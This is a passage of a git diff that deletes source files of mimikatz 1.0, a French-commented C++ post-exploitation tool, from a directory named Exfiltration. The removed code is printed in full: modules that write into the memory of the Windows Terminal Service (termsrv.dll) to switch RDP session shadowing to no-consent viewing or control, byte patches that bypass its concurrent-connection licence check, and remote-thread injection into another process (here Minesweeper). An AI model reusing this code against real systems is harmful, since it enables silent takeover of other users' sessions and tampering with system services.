Impossible d\'ouvrir le gestionnaire de service pour création ; " << mod_system::getWinError() << endl; - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h deleted file mode 100644 index 368066f..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_service.h" -#include - -class mod_mimikatz_service -{ -private: - typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName); - static bool genericFunction(PMOD_SERVICE_FUNC function, vector * arguments); -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - - static bool start(vector * arguments); - static bool suspend(vector * arguments); - static bool resume(vector * arguments); - static bool stop(vector * arguments); - - static bool query(vector * arguments); - - static bool add(vector * arguments); - static bool remove(vector * arguments); - static bool control(vector * arguments); - - static bool mimikatz(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp deleted file mode 100644 index e785e0d..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_standard.h" -#include "..\global.h" - -vector mod_mimikatz_standard::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'écran (ne fonctionne pas en éxecution distante, via PsExec par exemple)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la réponse à la Grande Question sur la Vie, l\'Univers et le Reste")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes")); - //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus être là en release...")); - return monVector; -} - -/*bool mod_mimikatz_standard::test(vector * arguments) -{ - return true; -}*/ - -bool mod_mimikatz_standard::version(vector * arguments) -{ - (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl; - return true; -} - -bool mod_mimikatz_standard::clearScreen(vector * arguments) -{ - HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); - COORD coord = {0, 0}; - DWORD count; - - CONSOLE_SCREEN_BUFFER_INFO csbi; - GetConsoleScreenBufferInfo(hStdOut, &csbi); - - FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count); - SetConsoleCursorPosition(hStdOut, coord); - - return true; -} - -bool mod_mimikatz_standard::exit(vector * arguments) -{ - return false; -} - -bool mod_mimikatz_standard::reponse(vector * arguments) -{ - (*outputStream) << L"La réponse est 42." << endl; - return true; -} - -bool mod_mimikatz_standard::cite(vector * arguments) -{ - (*outputStream) << L"I edit the world in HEX" << endl; - return true; -} - -bool mod_mimikatz_standard::sleep(vector * arguments) -{ - DWORD dwMilliseconds = 1000; - if(!arguments->empty()) - { - wstringstream z; - z << arguments->front(); z >> dwMilliseconds; - } - (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush; - Sleep(dwMilliseconds); - (*outputStream) << L"Fin !" << endl; - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h deleted file mode 100644 index dab1350..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -class mod_mimikatz_standard -{ -public: - static vector getMimiKatzCommands(); - - static bool clearScreen(vector * arguments); - static bool exit(vector * arguments); - static bool cite(vector * arguments); - static bool reponse(vector * arguments); - static bool version(vector * arguments); - static bool sleep(vector * arguments); - static bool test(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp deleted file mode 100644 index 90929b2..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp +++ /dev/null @@ -1,40 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_system.h" -#include "..\global.h" - -vector mod_mimikatz_system::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant")); - return monVector; -} - -bool mod_mimikatz_system::user(vector * arguments) -{ - wstring monUser; - - if(mod_system::getUserName(&monUser)) - (*outputStream) << L"Utilisateur : " << monUser << endl; - else - (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError(); - - return true; -} - -bool mod_mimikatz_system::computer(vector * arguments) -{ - wstring monComputer; - - if(mod_system::getComputerName(&monComputer)) - (*outputStream) << L"Ordinateur : " << monComputer << endl; - else - (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError(); - - return true; -} - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h deleted file mode 100644 index bd96a01..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include - -class mod_mimikatz_system -{ -public: - static vector getMimiKatzCommands(); - static bool user(vector * arguments); - static bool computer(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp deleted file mode 100644 index 9a071b1..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp +++ /dev/null @@ -1,291 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_terminalserver.h" -#include "..\global.h" - -// http://msdn.microsoft.com/library/aa383464.aspx -vector mod_mimikatz_terminalserver::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau à distance pour dépasser 2 connexions simultanées")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)")); - return monVector; -} - -bool mod_mimikatz_terminalserver::sessions(vector * arguments) -{ - vector mesSessions; - - if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL))) - { - (*outputStream) << L"SessId\tEtat\tstrEtat" << endl; - for(vector::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' << - setw(5) << setfill(wchar_t(' ')) << maSession->state << L'\t' << - setw(15) << setfill(wchar_t(' ')) << left << stateToType(maSession->state) << right << L'\t' << - maSession->sessionName << - endl; - } - } - else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; - return true; -} - - -bool mod_mimikatz_terminalserver::processes(vector * arguments) -{ - vector mesProcess; - - if(mod_ts::getProcesses(&mesProcess, (arguments->size() ? &arguments->front() : NULL))) - { - (*outputStream) << L"PID\tSessId\tUtilisateur" << endl; - for(vector::iterator monProcess = mesProcess.begin(); monProcess != mesProcess.end(); monProcess++) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monProcess->pid << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monProcess->sessionId << L'\t' << - setw(48) << setfill(wchar_t(' ')) << left << monProcess->userSid << right << L'\t' << - monProcess->processName << - endl; - } - } - else (*outputStream) << L"mod_ts::getSessions : " << mod_system::getWinError() << endl; - return true; -} - -bool mod_mimikatz_terminalserver::viewshadow(vector * arguments) -{ - DWORD session = 0; - PDWORD ptrSession = NULL; - - if(arguments->size() == 1) - { - wstringstream resultat(arguments->front()); - resultat >> session; - ptrSession = &session; - } - - listAndOrModifySession(ptrSession); - return true; -} - -bool mod_mimikatz_terminalserver::modifyshadow(vector * arguments) -{ - DWORD session = 0; - PDWORD ptrSession = NULL; - - wstring strState; - DWORD newState = 0; - - if(arguments->size() == 1) - { - strState.assign(arguments->front()); - } - else if(arguments->size() == 2) - { - wstringstream resultat(arguments->front()); - resultat >> session; - ptrSession = &session; - - strState.assign(arguments->back()); - } - - if(!strState.empty()) - { - bool strError = false; - if(_wcsicmp(strState.c_str(), L"DISABLE") == 0) newState = 0; - else if(_wcsicmp(strState.c_str(), L"INTERACT") == 0) newState = 1; - else if(_wcsicmp(strState.c_str(), L"INTERACT_NOASK") == 0) newState = 2; - else if(_wcsicmp(strState.c_str(), L"VIEW") == 0) newState = 3; - else if(_wcsicmp(strState.c_str(), L"VIEW_NOASK") == 0) newState = 4; - else strError = true; - - if(!strError) - listAndOrModifySession(ptrSession, &newState); - else - (*outputStream) << L"Erreur de parsing de l\'argument : " << strState << endl; - } - - return true; -} - -bool mod_mimikatz_terminalserver::listAndOrModifySession(DWORD * id, DWORD * newState) -{ - bool reussite = false; - - vector mesOS; - mesOS.push_back(mod_patch::WINDOWS_2003_____x86); - mesOS.push_back(mod_patch::WINDOWS_2003_____x64); - mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); - mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x64); - - if(mod_patch::checkVersion(&mesOS)) - { -#ifdef _M_X64 - BYTE pattern1NT5[] = {0x48, 0x3B, 0xFE, 0x74, 0x22}; - long offsetToWin = -4; -#elif defined _M_IX86 - BYTE pattern1NT5[] = {0x8D, 0x47, 0x20, 0x53, 0x50, 0xFF, 0x15}; - long offsetToWin = -6; -#endif - mod_service::KIWI_SERVICE_STATUS_PROCESS monService; - wstring serviceName = L"TermService"; - wstring moduleName = L"termsrv.dll"; - - if(mod_service::getUniqueForName(&monService, &serviceName)) - { - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, &moduleName, &monService.ServiceStatusProcess.dwProcessId)) - { - PBYTE baseAddr = monModule.modBaseAddr; - DWORD taille = monModule.modBaseSize; - - if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monService.ServiceStatusProcess.dwProcessId)) - { - PBYTE addrPattern = NULL; - if(mod_memory::searchMemory(baseAddr, baseAddr + taille, pattern1NT5, &addrPattern, sizeof(pattern1NT5), true, processHandle)) - { - PBYTE addrWinstationListHead = NULL; - - bool resInterm = false; - -#ifdef _M_X64 - long offSet = 0; - resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&offSet), sizeof(long), processHandle); - addrWinstationListHead = addrPattern + offSet; -#elif defined _M_IX86 - resInterm = mod_memory::readMemory(addrPattern + offsetToWin, reinterpret_cast(&addrWinstationListHead), sizeof(PBYTE), processHandle); -#endif - if(resInterm) - { - PBYTE addrWinstation = addrWinstationListHead; - do - { - if(mod_memory::readMemory(addrWinstation, reinterpret_cast(&addrWinstation), sizeof(PBYTE), processHandle) && addrWinstation != addrWinstationListHead) - { - KIWI_TS_SESSION * maSession = new KIWI_TS_SESSION(); - if(reussite = mod_memory::readMemory(addrWinstation, reinterpret_cast(maSession), sizeof(KIWI_TS_SESSION), processHandle)) - { - if((!id) || (maSession->id == *id)) - { - (*outputStream) << L"@Winstation : " << addrWinstation << endl; - - (*outputStream) << L"\t" << maSession->prev << L" <-> " << maSession->next << endl; - (*outputStream) << L"\tid : " << maSession->id << endl; - (*outputStream) << L"\tname : " << maSession->name << endl; - (*outputStream) << L"\tsname : " << maSession->sname << endl; - (*outputStream) << L"\ttype : " << maSession->type << endl; - (*outputStream) << L"\tshadow : " << maSession->shadow << L" (" << shadowToType(maSession->shadow) << L")" << endl; - - if(newState) - { - reussite = mod_memory::writeMemory(addrWinstation + FIELD_OFFSET(KIWI_TS_SESSION, shadow), newState, sizeof(DWORD), processHandle); - (*outputStream) << L"\t => " << *newState << L" (" < * arguments) -{ - BYTE PTRN_WIN5_TestLicence[] = {0x83, 0xf8, 0x02, 0x7f}; - BYTE PATC_WIN5_TestLicence[] = {0x90, 0x90}; - LONG OFFS_WIN5_TestLicence = 3; -#ifdef _M_X64 - BYTE PTRN_WN60_Query__CDefPolicy[] = {0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75}; - BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb}; - BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84}; - BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; -#elif defined _M_IX86 - BYTE PTRN_WN60_Query__CDefPolicy[] = {0x3b, 0x91, 0x20, 0x03, 0x00, 0x00, 0x5e, 0x0f, 0x84}; - BYTE PATC_WN60_Query__CDefPolicy[] = {0xc7, 0x81, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x5e, 0x90, 0x90}; - BYTE PTRN_WN6x_Query__CDefPolicy[] = {0x3b, 0x86, 0x20, 0x03, 0x00, 0x00, 0x0f, 0x84}; - BYTE PATC_WN6x_Query__CDefPolicy[] = {0xc7, 0x86, 0x20, 0x03, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90}; -#endif - LONG OFFS_WIN6_Query__CDefPolicy = 0; - - BYTE * PTRN_Licence = NULL; DWORD SIZE_PTRN_Licence = 0; - BYTE * PATC_Licence = NULL; DWORD SIZE_PATC_Licence = 0; - LONG OFFS_PATC_Licence = 0; - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - PTRN_Licence = PTRN_WIN5_TestLicence; SIZE_PTRN_Licence = sizeof(PTRN_WIN5_TestLicence); - PATC_Licence = PATC_WIN5_TestLicence; SIZE_PATC_Licence = sizeof(PATC_WIN5_TestLicence); - OFFS_PATC_Licence = OFFS_WIN5_TestLicence; - } - else - { - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - PTRN_Licence = PTRN_WN60_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN60_Query__CDefPolicy); - PATC_Licence = PATC_WN60_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN60_Query__CDefPolicy); - } - else - { - PTRN_Licence = PTRN_WN6x_Query__CDefPolicy; SIZE_PTRN_Licence = sizeof(PTRN_WN6x_Query__CDefPolicy); - PATC_Licence = PATC_WN6x_Query__CDefPolicy; SIZE_PATC_Licence = sizeof(PATC_WN6x_Query__CDefPolicy); - } - OFFS_PATC_Licence = OFFS_WIN6_Query__CDefPolicy; - } - - mod_patch::patchModuleOfService(L"TermService", L"termsrv.dll", PTRN_Licence, SIZE_PTRN_Licence, PATC_Licence, SIZE_PATC_Licence, OFFS_PATC_Licence); - return true; -} - -wstring mod_mimikatz_terminalserver::shadowToType(DWORD shadow) -{ - switch(shadow) - { - case 0: return(L"DISABLE"); - case 1: return(L"INTERACT (confirmation)"); - case 2: return(L"INTERACT_NOASK"); - case 3: return(L"VIEW (confirmation)"); - case 4: return(L"VIEW_NOASK"); - default: return(L"?"); - } -} - -wstring mod_mimikatz_terminalserver::stateToType(DWORD state) -{ - switch(state) - { - case WTSActive: return(L"Active"); - case WTSConnected: return(L"Connected"); - case WTSConnectQuery: return(L"ConnectQuery"); - case WTSShadow: return(L"Shadow"); - case WTSDisconnected: return(L"Disconnected"); - case WTSIdle: return(L"Idle"); - case WTSListen: return(L"Listen"); - case WTSReset: return(L"Reset"); - case WTSDown: return(L"Down"); - case WTSInit: return(L"Init"); - - default: return(L"?"); - } -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h deleted file mode 100644 index 5af9492..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h +++ /dev/null @@ -1,55 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_ts.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_patch.h" -#include - -class mod_mimikatz_terminalserver -{ -public: - static vector getMimiKatzCommands(); - - static bool sessions(vector * arguments); - static bool processes(vector * arguments); - static bool viewshadow(vector * arguments); - static bool modifyshadow(vector * arguments); - static bool multirdp(vector * arguments); - -private: - static bool listAndOrModifySession(DWORD * id = NULL, DWORD * newState = NULL); - static wstring shadowToType(DWORD shadow); - static wstring stateToType(DWORD state); - - enum KIWI_SHADOW_TYPE { - SHADOW_DISABLE = 0, - SHADOW_INTERACT = 1, - SHADOW_INTERACT_NOASK = 2, - SHADOW_VIEW = 3, - SHADOW_VIEW_NOASK = 4 - }; - - typedef struct _KIWI_TS_SESSION { - PBYTE next; - PBYTE prev; - PBYTE unk1; - PBYTE refLock; - PBYTE unk2; - BYTE unk3[8]; - DWORD id; - wchar_t name[32+1]; - BYTE unk4[7434]; - wchar_t sname[32+1]; - wchar_t type[32+1]; - BYTE unk5[1684]; - DWORD shadow; - } KIWI_TS_SESSION, * PKIWI_TS_SESSION; - -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp deleted file mode 100644 index 3a8edc0..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_thread.h" -#include "..\global.h" - -vector mod_mimikatz_thread::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les threads")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend un thread actif")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un thread suspendu")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un thread")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(quit, L"quit", L"Envoi un message de fermeture à un thread")); - return monVector; -} - -bool mod_mimikatz_thread::list(vector * arguments) -{ - vector * vectorThreads = new vector(); - - DWORD processId = arguments->empty() ? 0 : _wtoi(arguments->front().c_str()); - - if(mod_thread::getList(vectorThreads, arguments->empty() ? NULL : &processId)) - { - (*outputStream) << L"PID\tTID\tprTh" << endl; - for(vector::iterator monThread = vectorThreads->begin(); monThread != vectorThreads->end(); monThread++) - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monThread->th32OwnerProcessID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monThread->th32ThreadID << L'\t' << - setw(5) << setfill(wchar_t(' ')) << monThread->tpBasePri << - endl; - } - else - (*outputStream) << L"mod_thread::getList ; " << mod_system::getWinError() << endl; - - delete vectorThreads; - return true; -} - -bool mod_mimikatz_thread::resume(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\treprise "; - - if(mod_thread::resume(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::resume ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} - -bool mod_mimikatz_thread::suspend(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tsuspension "; - - if(mod_thread::suspend(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::suspend ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} - -bool mod_mimikatz_thread::stop(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tarrêt "; - - if(mod_thread::stop(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::stop ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} - - -bool mod_mimikatz_thread::quit(vector * arguments) -{ - for(vector::iterator monArgThread = arguments->begin(); monArgThread != arguments->end(); monArgThread++) - { - DWORD threadId = _wtoi(monArgThread->c_str()); - - if(threadId != 0) - { - (*outputStream) << L"thread " << setw(5) << setfill(wchar_t(' ')) << threadId << L"\tmessage fermeture "; - - if(mod_thread::quit(threadId)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"KO - mod_thread::quit ; " << mod_system::getWinError(); - } - else - (*outputStream) << L"argument \'" << *monArgThread << L"\' invalide"; - - (*outputStream) << endl; - } - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h deleted file mode 100644 index fd072bf..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h +++ /dev/null @@ -1,27 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_thread.h" -#include -#include - -class mod_mimikatz_thread -{ -private: -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - //static bool start(vector * arguments); - static bool suspend(vector * arguments); - static bool resume(vector * arguments); - static bool stop(vector * arguments); - //static bool query(vector * arguments); - - static bool quit(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp deleted file mode 100644 index 2f541f2..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp +++ /dev/null @@ -1,162 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_winmine.h" -#include "..\global.h" - -char DISP_WINMINE[] = " 123456789*x*?F."; - -vector mod_mimikatz_winmine::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pause, L"pause", L"Met en pause le chronomètre du démineur en cours")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reprise, L"reprise", L"Reprend le chronomètre du démineur en cours")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre une nouvelle partie")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cheat, L"cheat", L"Triche au démineur")); - return monVector; -} - -bool mod_mimikatz_winmine::infos(vector * arguments) -{ - return infosOrCheat(arguments, false); -} - -bool mod_mimikatz_winmine::cheat(vector * arguments) -{ - return infosOrCheat(arguments, true); -} - -bool mod_mimikatz_winmine::infosOrCheat(vector * arguments, bool cheat) -{ - structHandleAndAddr * maStruct = new structHandleAndAddr(); - if(giveHandleAndAddr(maStruct)) - { - structMonDemineur monDemineur; - if(mod_memory::readMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) - { - (*outputStream) << L"Mines : " << monDemineur.nbMines << endl << - L"Dimension : " << monDemineur.hauteur << L" lignes x " << monDemineur.longueur << L" colonnes" << endl << - L"Champ : " << endl << endl; - - for (DWORD y = 1; y <= monDemineur.hauteur; y++) - { - if(!cheat) - (*outputStream) << L'\t'; - - for(DWORD x = 1; x <= monDemineur.longueur; x++) - { - BYTE laCase = monDemineur.tabMines[y][x]; - - if(!cheat) - (*outputStream) << L' ' << static_cast((laCase & 0x80) ? '*' : DISP_WINMINE[laCase & 0x0f]); - else if(laCase & 0x80) - monDemineur.tabMines[y][x] = 0x4e; - } - if(!cheat) - (*outputStream) << endl; - } - - if(cheat) - { - if(mod_memory::writeMemory(maStruct->addrMonDemineur, &monDemineur, sizeof(structMonDemineur), maStruct->hWinmine)) - (*outputStream) << L"Patché ;)" << endl; - - vector mesHWNDS; - if(mod_windows::getHWNDsFromProcessId(&mesHWNDS, maStruct->pidWinmine)) - { - for(vector::iterator monHWND = mesHWNDS.begin(); monHWND != mesHWNDS.end(); monHWND++) - { - InvalidateRect(monHWND->monHandle, NULL, TRUE); - UpdateWindow(monHWND->monHandle); - } - } - } - } - CloseHandle(maStruct->hWinmine); - } - delete maStruct; - return true; -} - - -bool mod_mimikatz_winmine::pause(vector * arguments) -{ - startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrPause)); - return true; -} - -bool mod_mimikatz_winmine::reprise(vector * arguments) -{ - startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume)); - return true; -} - -bool mod_mimikatz_winmine::start(vector * arguments) -{ - startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart)); - return true; -} - -bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset) -{ - bool reussite = false; - structHandleAndAddr * maStruct = new structHandleAndAddr(); - if(giveHandleAndAddr(maStruct)) - { - if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast(reinterpret_cast(maStruct) + structOffset), NULL, 0, NULL)) - { - reussite = true; - WaitForSingleObject(hRemoteThread, INFINITE); - CloseHandle(hRemoteThread); - } - } - delete maStruct; - return reussite; -} - -bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) -{ - BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3}; - BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1}; - BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1}; - BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 